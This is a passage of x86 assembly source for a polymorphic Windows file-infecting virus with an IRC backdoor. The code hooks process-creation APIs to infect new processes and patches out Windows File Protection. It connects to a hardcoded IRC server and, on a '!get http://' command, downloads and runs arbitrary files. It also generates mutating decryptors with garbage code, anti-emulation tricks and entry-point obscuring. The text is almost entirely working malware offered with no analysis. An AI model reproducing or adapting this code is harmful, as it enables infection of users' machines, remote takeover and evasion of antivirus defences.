lea ecx, [edi+(new_NtCreateProcessEx-entry_point)]
call nt_hook_api_remote
mov eax, NtCreateUserProcess[ebp]
test eax, eax
jz exit_nt_infect_process
lea ecx, [edi+(new_NtCreateUserProcess-entry_point)]
call nt_hook_api_remote
exit_nt_infect_process:
mov eax, edi
pop edi
ret
w9x_spawn_thread:
push ebp
call __w9x_spawn_thread
__w9x_spawn_thread:
pop ebp
sub ebp, offset __w9x_spawn_thread
xor ecx, ecx
lea eax, kernel_thread[ebp]
push ecx
push esp ; lpThreadId
push ecx ; dwCreationFlags
push ecx ; lpParameter
push eax ; lpStartAddress
push ecx ; dwStackSize
push ecx ; lpThreadAttributes
call [CreateThread+ebp]
xchg [esp], eax
call [CloseHandle+ebp]
pop ebp
ret 4
w9x_ring0:
push ebp
call __w9x_ring0
__w9x_ring0:
pop ebp
sub ebp, offset __w9x_ring0
push -1
lea edx, w9x_spawn_thread[ebp]
push eax
push edx
_QueueUserAPC:
int 20h
dd 002a0024h
add esp, 12
mov word ptr _QueueUserAPC[ebp], 20cdh
mov dword ptr _QueueUserAPC[ebp+2], 002a0024h
pop ebp
ret_w9x_ring0:
ret
gen_random:
push 26
pop eax
call randmod
lea eax, [edx+'a']
stosb
dec cl
jnz gen_random
ret
randmod:
imul edx, random_seed[ebp], 134775813
inc edx
mov random_seed[ebp], edx
mul edx
ret
download_thread:
push ebp
call __download_thread
__download_thread:
pop ebp
sub ebp, offset __download_thread
mov ebx, hInternet[ebp]
cmp dword ptr [esp+8], 0
je no_download
sub esp, 520
push esp
push 260
call [GetTempPath+ebp]
mov edi, esp
lea eax, [esp+260]
push eax ; lpTempFileName
push 0 ; uUnique
pusht 'VRR' ; lpPrefixString
push edi ; lpPathName
call [GetTempFileName+ebp]
xor ecx, ecx
lea edx, [edi+260]
push ecx ; hTemplateFile
push ecx ; dwFlagsAndAttributes
push 2 ; dwCreationDistribution = CREATE_ALWAYS
push ecx ; lpSecurityAttributes
push 1 ; dwShareMode = FILE_SHARE_READ
push 40000000h ; dwDesiredAccess = GENERIC_WRITE
push edx ; lpFileName
call [CreateFile+ebp]
xchg esi, eax
test esi, esi
jz end_download
loop_download_file:
push eax
push esp ; ReadSize
push 260 ; BufSize
push edi ; Buf
push [esp+544] ; hFile
call [InternetReadFile+ebp]
pop ecx
test eax, eax
jz download_complete
jecxz download_complete
push eax
mov edx, esp
push 0 ; lpOverlapped
push edx ; lpNumberOfBytesWritten
push ecx ; nNumberOfBytesToWrite
push edi ; lpBuffer
push esi ; hFile
call [WriteFile+ebp]
pop ecx
test eax, eax
jnz loop_download_file
download_complete:
push esi
call [CloseHandle+ebp]
lea edx, [edi+17*4]
push edx ; lpProcessInformation
push edi ; lpStartupInfo
push 17*4
pop eax
lea edx, [edi+260]
stosd
xor eax, eax
push 16
pop ecx
rep stosd
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; dwCreationFlags
push eax ; bInheritHandles
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
push eax ; lpCommandLine
push edx ; lpApplicationName
call [CreateProcess+ebp]
end_download:
add esp, 520
push [esp+8]
call [InternetCloseHandle+ebp]
no_download:
push ebx
call [InternetCloseHandle+ebp]
pop ebp
ret 4
parse_irc:
.if byte ptr [esi] == 10
inc esi
.endif
mov ecx, irc_parser[ebp]
jecxz no_irc_parser
lea edx, entry_point[ebp]
add edx, ecx
push esi
call edx
test al, al
js parse_error
jz parse_success
no_irc_parser:
cmp byte ptr [esi], ':'
jne no_prefix
skip_prefix:
inc esi
cmp byte ptr [esi], 0
je parse_success
cmp byte ptr [esi], ' '
jne skip_prefix
inc esi
no_prefix:
.if dword ptr [esi] == 'GNIP'
mov ecx, edi
mov byte ptr [esi+1], 'O'
sub ecx, esi
push ecx
push 0
push ecx
push esi
push ebx
call [send+ebp]
pop ecx
cmp eax, ecx
jne parse_error
lea eax, join_cmd[ebp]
push 0
push JOIN_LENGTH
push eax
push ebx
call [send+ebp]
cmp eax, JOIN_LENGTH
jne parse_error
.elseif dword ptr [esi] == 'VIRP'
add esi, 8
find_msg_text:
lodsb
cmp al, 13
je parse_success
cmp al, ' '
jne find_msg_text
lodsb
cmp al, ':'
jne parse_success
lodsd
or eax, 20202020h
cmp eax, 'teg!'
jne parse_success
lodsb
cmp al, ' '
jne error_with_fastquit
cmp dword ptr [esi-1], 'tth '
jne parse_success
cmp dword ptr [esi+3], '//:p'
jne parse_success
mov byte ptr [edi-1], 0
rdtsc
mov edx, 10000
mul edx
push edx
call [Sleep+ebp]
xor eax, eax
push eax ; dwFlags
push eax ; lpszProxyBypass
push eax ; lpszProxy
push eax ; dwAccessType = INTERNET_OPEN_TYPE_PRECONFIG
pusht 'Download' ; lpszAgent
call [InternetOpen+ebp]
test eax, eax
jz parse_success
xor ecx, ecx
mov hInternet[ebp], eax
push ecx ; dwContext
push 80000200h ; dwFlags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_UI
push ecx ; dwHeadersLength
push ecx ; lpszHeaders
push esi ; lpszUrl
push eax ; hInternet
call [InternetOpenUrl+ebp]
lea edx, download_thread[ebp]
push eax
xor ecx, ecx
push esp ; lpThreadId
push ecx ; dwCreationFlags
push eax ; lpParameter
push edx ; lpStartAddress
push ecx ; dwStackSize
push ecx ; lpThreadAttributes
call [CreateThread+ebp]
xchg [esp], eax
call [CloseHandle+ebp]
.endif
parse_success:
clc
ret
error_with_fastquit:
or fastquit[ebp], 1
parse_error:
stc
ret
; from 29A:
sfc_code_to_patch db 6ah, 01h, 6ah, 01h, 0ffh, 33h, 0ffh, 73h, 04h, 0ffh, 15h
SFC_CODE_LENGTH = ($ - sfc_code_to_patch)
try_disable_sfc:
test eax, eax
jz exit_try_disable_sfc
xor ebx, ebx
mov edx, eax
mov bl, SFC_CODE_LENGTH
add edx, [eax + 3ch]
lea esi, sfc_code_to_patch[ebp]
mov edi, [edx + 268]
mov ecx, [edx + 264]
add edi, eax
sub ecx, ebx
find_sfc_code:
pushad
mov ecx, ebx
repe cmpsb
popad
je sfc_code_found
inc edi
loop find_sfc_code
jmp exit_try_disable_sfc
sfc_code_found:
add edi, 15
push ebx
mov ecx, esp
push edi
mov edx, esp
push eax
push esp ; OldAccessProtection
push 40h ; NewAccessProtection
push ecx ; NumberOfBytesToProtect
push edx ; BaseAddress
push -1 ; ProcessHandle
call [NtProtectVirtualMemory+ebp]
mov ecx, ExitThread[ebp]
add esp, 12
sub ecx, edi
sub ecx, 7
; make the thread go away
mov dword ptr [edi], 0e8006ah
mov dword ptr [edi + 3], ecx
exit_try_disable_sfc:
ret
registry_key db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer', 0
registry_value db 'TargetHost', 0
sockaddr_in db 2, 0, 255, 240, 0, 0, 0, 0
ifndef RELEASE
server_host db 'localhost', 0
else
server_host db 'proxim.ircgalaxy.pl', 0
endif
irc_register db 'NICK '
irc_nick db '12345678', 10, 'USER '
irc_user db 'x010401 . . :-'
REGISTER_LENGTH = ($ - irc_register)
join_cmd db 'JOIN '
irc_chan db '&virtu', 10
JOIN_LENGTH = ($-join_cmd)
kernel_thread:
push ebp
call __kernel_thread
__kernel_thread:
pop ebp
sub ebp, offset __kernel_thread
mov fastquit[ebp], 0
call [GetVersion+ebp]
shr eax, 31
jz nt_thread
push 30
mov esi, VxDCall[ebp]
pop ecx
scan_for_callback:
lodsb
cmp al, 2eh ; CS: prefix?
jne continue_scanning
cmp word ptr [esi], 1dffh ; CALL FAR [xxx]?
jne continue_scanning
lea edi, old_VxDCall_int30_callback[ebp]
mov esi, [esi+2]
push edi
movsd
movsw
lea eax, VxDCall_int30_hook[ebp]
pop VxDCall_int30_hook_jmp[ebp]
cli
mov [esi-6], eax
mov [esi-2], cs
sti
mov cl, 1
continue_scanning:
loop scan_for_callback
jmp common_thread
nt_thread:
call nt_open_section
cmp dword ptr [esp+8], 4
jne common_thread
pusht 'SFC.DLL'
call [LoadLibrary+ebp]
.if eax != 0
push eax
push 2
push eax
call [GetProcAddress+ebp]
call eax
pop eax
call try_disable_sfc
.endif
pusht 'SFC_OS.DLL'
call [LoadLibrary+ebp]
call try_disable_sfc
common_thread:
call create_my_event
dec mapping_wait[ebp]
push 30000
call [Sleep+ebp]
pusht 'USER32.DLL'
call [LoadLibrary+ebp]
pusht 'wsprintfA'
push eax
call [GetProcAddress+ebp]
mov wsprintf[ebp], eax
rdtsc
lea ecx, szADVAPI32[ebp]
mov random_seed[ebp], eax
push ecx
call [LoadLibrary+ebp]
xchg ebx, eax
push NUMBER_OF_ADVAPI32_IMPORTS
lea esi, import_names_advapi32[ebp]
pop ecx
lea edi, import_addr_advapi32[ebp]
call import_functions
mov word ptr sockaddr_in[ebp+2], 0f0ffh
and dword ptr sockaddr_in[ebp+4], 0
lea edx, registry_key[ebp]
push eax
push esp ; phkResult
push 1 ; samDesired = KEY_QUERY_VALUE
push 0 ; ulOptions
push edx ; lpSubKey
push 80000002h ; hKey = HKEY_LOCAL_MACHINE
call [RegOpenKeyEx+ebp]
test eax, eax
pop edx
jnz skip_change_serv
lea ecx, registry_value[ebp]
push edx
push 6
lea esi, sockaddr_in[ebp+2]
push esp ; lpcbData
push esi ; lpData
push eax ; lpType
push eax ; lpReserved
push ecx ; lpValueName
push edx ; hKey
call [RegQueryValueEx+ebp]
pop eax
call [RegCloseKey+ebp]
skip_change_serv:
mov need_restore[ebp], 0
pusht 'WSOCK32.DLL'
call [LoadLibrary+ebp]
xchg ebx, eax
push NUMBER_OF_WSOCK32_IMPORTS
lea esi, import_names_wsock32[ebp]
pop ecx
lea edi, import_addr_wsock32[ebp]
call import_functions
pusht 'WININET.DLL'
call [LoadLibrary+ebp]
test eax, eax
jz exit_kernel
xchg ebx, eax
push NUMBER_OF_WININET_IMPORTS
lea esi, import_names_wininet[ebp]
pop ecx
lea edi, import_addr_wininet[ebp]
call import_functions
cmp InternetGetConnectedState[ebp], 0
je exit_kernel
sub esp, 400
push esp
push 101h
call [WSAStartup+ebp]
add esp, 400
internet_loop:
push eax
mov edx, esp
push 0
push edx
call [InternetGetConnectedState+ebp]
test eax, eax
pop ecx
jnz internet_present
push 5000
call [Sleep+ebp]
jmp internet_loop
internet_present:
.if dword ptr sockaddr_in[ebp+4] == 0
lea eax, server_host[ebp]
push eax
call [gethostbyname+ebp]
test eax, eax
jz disconnected
mov eax, [eax+12]
mov eax, [eax]
push [eax]
pop dword ptr sockaddr_in[ebp+4]
mov need_restore[ebp], 1
.endif
push 0
push 1
push 2
call [socket+ebp]
cmp eax, -1
je disconnected
xchg ebx, eax
lea edx, sockaddr_in[ebp]
push 16
push edx
push ebx
call [connect+ebp]
test eax, eax
jnz _closesocket
lea edi, irc_nick[ebp]
mov cl, 8
call gen_random
push 148
pop esi
sub esp, esi
mov dword ptr [esp], esi
push esp
call [GetVersionEx+ebp]
lea edi, irc_user[ebp]
mov cl, 1
call gen_random
mov eax, [esp+16] ; dwPlatformId
shl eax, 8
or eax, [esp+4] ; dwMajorVersion
shl eax, 8
or eax, [esp+8] ; dwMinorVersion
push eax
pusht '%.6x'
push edi
call [wsprintf+ebp]
add esp, 12
mov byte ptr [edi+6], ' '
lea edx, irc_register[ebp]
push 0
push REGISTER_LENGTH
push edx
push ebx
call [send+ebp]
lea edi, [esp+20]
push edi
call [lstrlen+ebp]
mov byte ptr [edi+eax], 10
inc eax
push 0
push eax
push edi
push ebx
call [send+ebp]
add esp, esi
lea edi, join_cmd[ebp]
push 0
push JOIN_LENGTH
push edi
push ebx
call [send+ebp]
cmp eax, JOIN_LENGTH
jne _closesocket
lea esi, ircbuf[ebp]
receive_loop:
lea ecx, ircbuf[ebp+511]
sub ecx, esi
push 0
push ecx
push esi
push ebx
call [recv+ebp]
cmp eax, 0
jle _closesocket
xchg ecx, eax
mov edi, esi
lea esi, ircbuf[ebp]
extract_irc_lines:
mov al, 13
repne scasb
jne no_more_lines
pushad
call parse_irc
popad
jc _closesocket
jecxz no_partial
lea esi, [edi+1]
jmp extract_irc_lines
no_more_lines:
mov ecx, edi
sub ecx, esi
no_partial:
lea edi, ircbuf[ebp]
rep movsb
xchg esi, edi
jmp receive_loop
_closesocket:
push ebx
call [closesocket+ebp]
disconnected:
cmp fastquit[ebp], 1
je exit_kernel
push 30000
call [Sleep+ebp]
.if need_restore[ebp] != 0
mov dword ptr sockaddr_in[ebp+4], 0
mov need_restore[ebp], 0
.endif
jmp internet_loop
exit_kernel:
mov infector_lock[ebp], 80000000h
pop ebp
ret 4
db 13,10
db "O noon of life! O time to celebrate!", 13,10
db " O summer garden!", 13,10
db "Relentlessly happy and expectant, standing: -", 13,10
db "Watching all day and night, for friends I wait:", 13,10
db "Where are you, friends? Come! It is time! It's late!"
; -------------------------------------------------------------------------------
; Returns in ECX a random import of *32.DLL. Cannot be ExitProcess/Thread,
; Sleep(Ex), MessageBox*. Typical functions of Win32 API will do nothing harmful
; if called with non-addresses, because they have no data to work on (they may at
; worst raise an exception, so we install a handler). We maintain a collection of
; hashed API names known to be working here (they're also subject to evolution).
; -------------------------------------------------------------------------------
known_hashes:
dd 10A61429h ; GetModuleHandleA
dd 31 dup(0)
rva2ofs:
pushad
and sect_header[ebp], 0
and sect_rva2ofs[ebp], 0
movzx eax, word ptr [ebx+14h]
lea edx, [ebx+18h]
movzx ecx, word ptr [ebx+6]
add edx, eax
find_impsect:
mov eax, [esp+36]
sub eax, [edx+12]
jc not_impsect
cmp eax, [edx+8]
jnb not_impsect
mov eax, [edx+20]
sub eax, [edx+12]
mov sect_header[ebp], edx
mov sect_rva2ofs[ebp], eax
jmp got_impsect
not_impsect:
add edx, 40
loop find_impsect
got_impsect:
popad
ret 4
get_random_import:
mov byte ptr nhashes2chk[ebp], al
call skip_imp1
db 68h
nhashes2chk dd 32
lea eax, known_hashes[ebp]
pop ecx
find_known_hash:
cmp [eax], ebx
je known_hash_found
add eax, 4
loop find_known_hash
inc num_imports[ebp]
ret
known_hash_found:
neg ecx
add ecx, nhashes2chk[ebp]
jecxz return_import
move_hashes:
push [eax-4]
pop [eax]
sub eax, 4
loop move_hashes
mov known_hashes[ebp], ebx
return_import:
.if dword ptr [edx] != 0
sub esi, [edx]
add esi, [edx+16]
.endif
lea ecx, [esi-4]
pop eax
pop ebx
pop esi
.if dword ptr [edx] != 0
push [edx]
.else
push [edx+16]
.endif
call rva2ofs
sub ecx, esi
sub ecx, sect_rva2ofs[ebp]
pop eax
add ecx, [ebx+34h]
ret
skip_imp1:
pop import_found[ebp]
mov num_imports[ebp], 0
call walk_imports
mov eax, num_imports[ebp]
call randmod
call skip_imp2
.if num_imports[ebp] == 0
mov known_hashes[ebp+31*4], ebx
jmp return_import
.endif
dec num_imports[ebp]
ret
skip_imp2:
pop import_found[ebp]
mov num_imports[ebp], edx
call walk_imports
xor ecx, ecx
ret
walk_imports:
mov edx, [ebx+80h]
push edx
call rva2ofs
add edx, sect_rva2ofs[ebp]
add edx, esi
check_lib:
cmp dword ptr [edx+12], 0
je no_import_found
cmp dword ptr [edx+16], 0
je no_import_found
mov eax, [edx+12]
push eax
call rva2ofs
add eax, sect_rva2ofs[ebp]
add eax, esi
push eax
check_libname:
mov cl, [eax]
cmp cl, 0
je libname_end
cmp cl, '.'
je libname_dot
__check_libname_1:
inc eax
jmp check_libname
libname_dot:
mov ecx, [eax+1]
and ecx, 0dfdfdfdfh
cmp ecx, (' LLD' and 0ffffffh)
jne __check_libname_1
libname_end:
pop ecx
sub ecx, eax
cmp ecx, -6
jg try_next_lib
cmp word ptr [eax-2], '23'
jne try_next_lib
push esi
.if dword ptr [edx] == 0
mov ecx, [edx+16]
.else
mov ecx, [edx]
.endif
add esi, ecx
push ecx
call rva2ofs
add esi, sect_rva2ofs[ebp]
check_import:
lodsd
test eax, eax
js check_import
jz __try_next_lib_1
push sect_rva2ofs[ebp]
push eax
call rva2ofs
add eax, sect_rva2ofs[ebp]
pop sect_rva2ofs[ebp]
add eax, [esp]
push ebx
add eax, 2
xor ebx, ebx
hash_import_name:
movzx ecx, byte ptr [eax]
jecxz impname_hashed
or cl, 20h
push ebx
shl dword ptr [esp], 4
sub [esp], ebx
sub [esp], ecx
pop ebx
inc eax
jmp hash_import_name
impname_hashed:
cmp ebx, 0DDBBD70Fh ; ExitProcess
je bad_impname
cmp ebx, 0DB6E45A8h ; ExitThread
je bad_impname
cmp ebx, 0FFA13B59h ; Sleep
je bad_impname
cmp ebx, 0ACB522D6h ; SleepEx
je bad_impname
cmp ebx, 0F358E993h ; MessageBoxA
je bad_impname
cmp ebx, 0F358E97Dh ; MessageBoxW
je bad_impname
cmp ebx, 0E1253F46h ; MessageBoxExA
je bad_impname
cmp ebx, 0E1253F30h ; MessageBoxExW
je bad_impname
call import_found[ebp]
bad_impname:
pop ebx
jmp check_import
__try_next_lib_1:
pop esi
try_next_lib:
add edx, 20
jmp check_lib
no_import_found:
ret
zero_reg db 0
push_args:
push 4
pop eax
call randmod
mov zero_reg[ebp], dl
mov ax, 1831h
add ah, dl
shl ah, 3
add ah, dl
stosw
push 6
pop eax
call randmod
add edx, 8
xchg edx, ecx
do_push_args:
push 5
pop eax
call randmod
.if dl < 3
mov al, 50h
add al, zero_reg[ebp]
stosb
.else
push 68h
pop eax
stosb
.if dl == 3
mov al, 17
call randmod
mov eax, 1
__make_arg:
test dl, dl
jz __write_arg
shl eax, 1
dec dl
jmp __make_arg
.else
mov eax, 80000000h
.endif
__write_arg:
stosd
.endif
loop do_push_args
ret
get_decryptor_offset:
lea edx, poly_decrypt[ebp]
sub edx, edi
neg edx
ret
assemble_seh_save:
test genes[ebp], G_FRAME
setnz al
shl eax, 11
test start_key[ebp], 1
.if zero?
or ax, 2589h ; MOV [ptr32], EBP/ESP
.else
test start_key[ebp], 2
.if zero?
or ax, 2531h ; XOR [ptr32], EBP/ESP
.else
or ax, 2501h ; ADD [ptr32], EBP/ESP
.endif
.endif
stosw
call get_decryptor_offset
mov eax, [ebx+34h] ; ImageBase
mov pos_sehsave[ebp], edx
stosd
ret
assemble_seh_restore:
test genes[ebp], G_FRAME
setnz al
add al, 0bch
stosb ; MOV EBP/ESP, imm32
call get_decryptor_offset
mov pos_sehrestore[ebp], edx
test start_key[ebp], 1
.if zero?
rdtsc
.else
sub eax, eax
.endif
stosd
ret
assemble_seh_close:
test genes[ebp], G_FRAME
.if !zero?
mov al, pr_key[ebp]
shl eax, 11
or ax, 458bh
stosw ; MOV reg, [EBP-8]
mov al, 0f8h
stosb
mov al, pr_key[ebp]
shl eax, 27
add eax, 06896467h
stosd ; MOV FS:[0], reg
xor eax, eax
stosw
.else
mov eax, 00058f64h
stosd ; POP DWORD PTR FS:[0]
mov al, pr_key[ebp]
add al, 58h
shl eax, 24
stosd ; POP reg
.endif
ret
garbage_1:
mov al, 0fch
stosb
jmp write_garbage
garbage_2:
mov ax, 0ebh
stosw
jmp write_garbage
garbage_3:
push 4
pop eax
call randmod
lea eax, [edx*8+edx]
shl eax, 8
add ax, 0c089h
stosw
jmp write_garbage
garbage_4:
mov al, 90h
stosb
write_garbage:
push 2
pop eax
call randmod
test dl, dl
jz no_garbage
push 5
pop eax
call randmod
dec dl
jc garbage_1
jz garbage_2
dec dl
jz garbage_3
dec dl
jz garbage_4
garbage_5:
mov al, 0fdh
stosb
jmp write_garbage
no_garbage:
ret
generate_poly:
lea edi, poly_decrypt[ebp]
test genes[ebp], G_EPO
.if !zero?
mov al, 60h
stosb
.endif
test genes[ebp], G_FRAME
.if !zero?
mov eax, 0ec8b55h
stosd
dec edi
.endif
test genes[ebp], (G_IMPORT or G_IMPORT2 or G_SEHEBP)
jz skip_import_gene
mov al, 0e8h
stosb
stosd
mov pos_callover[ebp], edi
mov al, 0e8h
stosb
stosd
mov pos_relctx[ebp], edi
test genes[ebp], (G_IMPORT or G_IMPORT2)
.if !zero?
test genes[ebp], G_SEHEBP
.if !zero?
call assemble_seh_restore
.endif
mov al, 0e9h
stosb
stosd
.endif
mov eax, pos_callover[ebp]
mov ecx, edi
sub ecx, eax
mov pos_skipapi[ebp], edi
mov [eax-4], ecx
mov eax, 36ff6467h
stosd
xor eax, eax
stosw
test genes[ebp], (G_IMPORT or G_IMPORT2)
.if !zero?
test start_key[ebp], 80h
.if !zero?
call assemble_seh_save
.endif
.endif
mov eax, 26896467h
stosd
xor eax, eax
stosw
test genes[ebp], (G_IMPORT or G_IMPORT2)
jz skip_import_gene
test start_key[ebp], 80h
.if zero?
call assemble_seh_save
.endif
call push_args
mov al, 32
call get_random_import
jecxz skip_import_gene
mov ax, 15ffh
stosw
xchg eax, ecx
stosd
mov edx, genes[ebp]
not edx
test edx, (G_IMPORT or G_IMPORT2)
jnz finish_seh
call push_args
mov al, 31
call get_random_import
mov ax, 15ffh
stosw
xchg eax, ecx
stosd
finish_seh:
mov ecx, edi
mov eax, pos_skipapi[ebp]
sub ecx, eax
mov [eax-4], ecx
skip_import_gene:
test genes[ebp], (G_IMPORT or G_IMPORT2)
jz skip_early_unseh
test genes[ebp], (G_ASEHEBP or G_SEHEARLY)
jz skip_early_unseh
test genes[ebp], G_SEHEBP
.if zero?
call assemble_seh_restore
.endif
test genes[ebp], G_SEHEARLY
jz skip_early_unseh
call assemble_seh_close
skip_early_unseh:
test genes[ebp], G_NOEMUL
jz skip_noemul
mov eax, 0c8fec029h
stosd
mov eax, 474c008h
stosd
mov eax, 67ebf875h
stosd
skip_noemul:
test genes[ebp], G_SPECKEY
jnz skip_speckey
cmp start_key[ebp], 0
je skip_speckey
mov eax, 0c9291829h
or ah, pr_key[ebp]
shl ah, 3
or ah, pr_key[ebp]
stosd
mov al, 0b1h
stosb
mov al, start_key[ebp]
stosb
mov al, 40h
or al, pr_key[ebp]
stosb
mov ax, 0fde2h
test genes[ebp], G_SPECKEY2
jz write_speckey
mov al, 49h
stosb
mov ax, 0fc75h
write_speckey:
stosw
skip_speckey:
mov al, 0e8h
stosb
xor eax, eax
stosd
mov call_address[ebp], edi
test genes[ebp], G_CALL
jnz skip_call
mov al, 58h
or al, pr_memreg[ebp]
stosb
skip_call:
mov ax, 0c081h
test genes[ebp], G_DISTANCE
jz __dist
add ah, 28h
__dist:
or ah, pr_memreg[ebp]
stosw
mov dist_address[ebp], edi
stosd
test genes[ebp], G_PUSHPOS
.if zero?
mov al, 50h
add al, pr_memreg[ebp]
stosb
.endif
test genes[ebp], G_SIZE
.if zero?
mov al, 0b8h
or al, pr_counter[ebp]
stosb
.else
mov ax, 1831h
test genes[ebp], G_SIZEM
.if !zero?
mov al, 29h
.endif
or ah, pr_counter[ebp]
shl ah, 3
or ah, pr_counter[ebp]
stosw
mov ax, 0f081h
test genes[ebp], G_SIZEA
.if zero?
mov ah, 0c8h
.endif
or ah, pr_counter[ebp]
stosw
.endif
mov pos_size[ebp], edi
mov eax, CODE_SIZE
stosd
test genes[ebp], G_SPECKEY
.if !zero?
test genes[ebp], G_1STVAL
.if zero?
mov al, 0b8h
or al, pr_key[ebp]
stosb
.else
test genes[ebp], G_1STVALB
.if zero?
mov ax, 0e083h
or ah, pr_key[ebp]
stosw
xor eax, eax
stosb
.else
mov ax, 1829h
or ah, pr_key[ebp]
shl ah, 3
or ah, pr_key[ebp]
stosw
.endif
test genes[ebp], G_ADDENC
mov ax, 0c081h
.if !zero?
add ah, 8
.endif
or ah, pr_key[ebp]
stosw
.endif
movzx eax, start_key[ebp]
stosd
.endif
test genes[ebp], G_PUSHPOS
.if !zero?
mov al, 50h
add al, pr_memreg[ebp]
stosb
.endif
test genes[ebp], G_GETBYTE
mov al, 86h
.if zero?
add al, 4
.endif
lea ecx, [edi-2]
mov ah, pr_memreg[ebp]
mov start_loop[ebp], ecx
stosw
.if ah == 5 ; ModR/M correction, i.e. EBP+00 addressing mode
mov al, 0
or byte ptr [edi-1], 40h
stosb
.endif
call write_garbage
test genes[ebp], G_ENCRYPT
mov ax, 3166h
.if zero?
mov ah, 29h
.endif
stosw
mov al, 18h
or al, pr_key[ebp]
shl al, 3
stosb
call write_garbage
mov al, 88h
test genes[ebp], G_STORE
.if zero?
mov al, 86h
.endif
mov ah, pr_memreg[ebp]
stosw
.if ah == 5
mov al, 0
or byte ptr [edi-1], 40h
stosb
.endif
test genes[ebp], G_INCREMENT
.if zero?
mov al, 40h
or al, pr_memreg[ebp]
stosb
.else
mov ax, 0c083h
or ah, pr_memreg[ebp]
stosw
mov al, 1
stosb
.endif
test genes[ebp], G_SLIDKEY
.if zero?
test genes[ebp], G_SLIDKEYM
.if zero?
mov al, 0c0h
or al, pr_key[ebp]
mov ah, sliding_key[ebp]
shl eax, 16
mov ax, 8166h
stosd
mov al, 0
.else
mov al, 40h
or al, pr_key[ebp]
.endif
stosb
.endif
test genes[ebp], G_ECOUNT
.if zero?
mov ax, 0e883h
or ah, pr_counter[ebp]
stosw
mov al, 1
.else
mov al, 48h
or al, pr_counter[ebp]
.endif
stosb
test genes[ebp], G_LOOP
mov cl, 75h
.if zero?
mov ax, 0f883h
or ah, pr_counter[ebp]
stosw
xor eax, eax
stosb
sub start_loop[ebp], edi
test genes[ebp], G_LOOP2
.if zero?
mov cl, 77h
.endif
.else
mov ax, 1809h
or ah, pr_counter[ebp]
shl ah, 3
or ah, pr_counter[ebp]
stosw
sub start_loop[ebp], edi
.endif
mov al, cl
mov ah, byte ptr start_loop[ebp]
stosw
mov al, 58h
add al, pr_memreg[ebp]
stosb
test genes[ebp], (G_IMPORT or G_IMPORT2 or G_SEHEBP)
jz finish_poly
test genes[ebp], G_SEHEARLY
jnz finish_poly
test genes[ebp], (G_ASEHEBP or G_SEHEBP)
.if zero?
call assemble_seh_restore
.endif
call assemble_seh_close
finish_poly:
test genes[ebp], G_FRAME
.if !zero?
mov al, 0c9h
stosb
.endif
test genes[ebp], G_EPO
.if !zero?
mov al, 7
sub al, pr_memreg[ebp]
shl eax, 26
or eax, 240889h
add ah, pr_memreg[ebp]
shl ah, 3
add ah, 4
stosd
mov al, 61h
stosb
.endif
mov ax, 0e0ffh
or ah, pr_memreg[ebp]
stosw
test genes[ebp], G_CALL
.if !zero?
test genes[ebp], G_ALIGN
jz __aligned_1
__align_1:
test edi, 3
jz __aligned_1
mov al, 90h
stosb
jmp __align_1
__aligned_1:
mov eax, edi
mov ecx, call_address[ebp]
sub eax, ecx
mov [ecx-4], eax
mov al, 58h
or al, pr_memreg[ebp]
stosb
test genes[ebp], G_CALLRET
.if !zero?
mov ax, 0c350h
or al, pr_memreg[ebp]
.else
mov ax, 0e0ffh
or ah, pr_memreg[ebp]
.endif
stosw
.endif
test genes[ebp], (G_SEHEBP or G_IMPORT or G_IMPORT2)
.if !zero?
test genes[ebp], G_ALIGN
jz __aligned_2
__align_2:
test edi, 3
jz __aligned_2
mov al, 90h
stosb
jmp __align_2
__aligned_2:
mov ecx, edi
mov eax, pos_relctx[ebp]
sub ecx, eax
mov [eax-4], ecx
xor ecx, ecx
test genes[ebp], G_SEHEAX
jnz __reg_found
lea eax, poly_regs[ebp]
__find_reg:
mov cl, [eax]
inc eax
cmp cl, 3
jnb __find_reg
__reg_found:
lea eax, [102444h + ecx*8]
shl eax, 8
mov al, 8bh
stosd
jecxz __skip_zero_eax
mov ax, 0c031h
stosw
__skip_zero_eax:
mov ax, 808fh
push 184
add ah, cl
stosw
pop eax
stosd
test ecx, ecx
jnz finish_relctx
mov ax, 0c031h
stosw
finish_relctx:
mov al, 0c3h
stosb
.endif
lea eax, poly_decrypt[ebp]
test genes[ebp], G_KEEPEP
.if zero?
push edi
sub edi, eax
pop eax
jmp store_distance
.endif
mov edx, [ebx+28h]
sub edi, eax
sub edx, eax
mov ecx, pos_size[ebp]
add call_address[ebp], edx
add [ecx], edi
mov eax, [esp+4]
store_distance:
mov poly_len[ebp], edi
mov edi, dist_address[ebp]
sub eax, call_address[ebp]
test genes[ebp], G_DISTANCE
.if !zero?
neg eax
.endif
stosd
ret 4
handle_epo:
push esi
push edi
cmp drop_rva[ebp], 0
je epo_failed
pusht 'KERNEL32.DLL'
call [GetModuleHandle+ebp]
mov k32_base[ebp], eax
push ebx
mov ebx, [eax+3ch]
add ebx, eax
push [ebx+28h]
mov eax, [ebx+34h]
call rva2ofs
mov edx, sect_header[ebp]
pop ebx
add eax, [edx+12]
mov k32code_begin[ebp], eax
add eax, [edx+8]
mov k32code_end[ebp], eax
mov esi, [ebx+28h]
push dword ptr [ebx+80h]
call rva2ofs
mov edi, sect_header[ebp]
push esi
call rva2ofs
mov edx, sect_header[ebp]
mov ecx, [edx+8]
add ecx, [edx+12]
sub ecx, esi
sub ecx, 5
js epo_failed
jz epo_failed
add esi, sect_rva2ofs[ebp]
add esi, file_base[ebp]
scan_ep:
lodsb
.if al == 0e8h ; try borland linker (CALL func, then JMP [xx])
lea eax, [esi+4]
sub eax, file_base[ebp] ; in-mapping ptr -> raw
add eax, [esi]
push eax
call rva2ofs
.if sect_header[ebp] == 0
cmp eax, [edi+12] ; borland tends to put this stub func somewhere early,
jnb continue_scan_ep ; outside all sections; let's check if it's at least before .IDATA
.else
cmp sect_header[ebp], edx
jne continue_scan_ep
.endif
add eax, file_base[ebp] ; raw -> in-mapping ptr
cmp word ptr [eax], 25ffh
jne continue_scan_ep
mov eax, [eax+2]
sub eax, [ebx+34h] ; absolute address -> RVA
push eax
call rva2ofs
cmp sect_header[ebp], edi
jne continue_scan_ep
add eax, sect_rva2ofs[ebp]
add eax, file_base[ebp] ; -> in-mapping ptr
mov eax, [eax] ; check where xx points (before loading it should be API name)
sub eax, [edi+12] ; -> import section offset
jb continue_scan_ep
cmp eax, [edi+8]
jnb continue_scan_ep
found_place:
add eax, 2
add eax, [edi+20] ; -> raw file offset
add eax, file_base[ebp] ; -> in-mapping ptr
push edx
push eax
